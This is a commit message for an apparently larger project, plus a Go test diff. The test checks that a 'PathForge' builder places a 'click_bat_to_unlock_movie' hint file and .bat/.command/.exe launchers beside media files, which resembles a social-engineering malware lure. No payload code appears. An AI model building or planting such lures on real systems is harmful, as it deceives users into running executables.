fix: second-wave bug fixes, security hardening, visual polish, UX improvements

Bug fixes:
- SRV-B1 through B5: server config, router, server_info, syscheck corrections
- BA-03 through BA-06: builder path and universal build cleanup (BLD-D1 through D3)
- Frontend WS race condition and useVisibleInterval hook fixed
- Drive-root path bug in PathForge resolved
- Upload error handling improved

Security:
- PathForge path traversal guard added
- Script injection escaping applied throughout

Visual (DV-01 through DV-15):
- Cyan design tokens and page headers standardised
- Dead CSS removed from Pages.css, PathTracerPage.css, wealth-deck.css
- SacredPageHeader deleted (replaced inline); sidebar version display fixed

UX:
- Emberwake request storm fixed (EmberwakePage.tsx)
- Help blurbs UH-01, UH-02, UH-06 added
- HelpTips wired into Crucible, Fleet (FleetGroupsStrip, FleetToolbar), Settings

Build:
- vite.config.ts: webroot auto-sync on build
- build_universal.go: universal build artifact cleanup
- PROBLEMS.md tracking updated

server/internal/builder/pathforge_test.go

@@ -63,11 +63,22 @@ func TestPathForgePlacedExcludesHintFile(t *testing.T) {
 	if res.Placed < 1 || res.Placed >= 3 {
 		t.Fatalf("placed should count companions only (not hint): %d", res.Placed)
 	}
+	// Verify each result entry: the hint file must be present (it is placed on
+	// disk alongside the media), and there must be at least one launcher companion
+	// (e.g. .bat/.command/.exe). Together with the Placed assertion above this
+	// confirms the hint is placed but NOT counted in the Placed total.
 	for _, entry := range res.Results {
+		foundHint := false
 		for _, f := range entry.Files {
 			if f == "click_bat_to_unlock_movie" {
-				continue
+				foundHint = true
 			}
 		}
+		if !foundHint {
+			t.Errorf("entry %q: hint file missing from Files list; got %v", entry.Source, entry.Files)
+		}
+		if len(entry.Files) < 2 {
+			t.Errorf("entry %q: expected hint + at least one launcher companion, got %v", entry.Source, entry.Files)
+		}
 	}
 }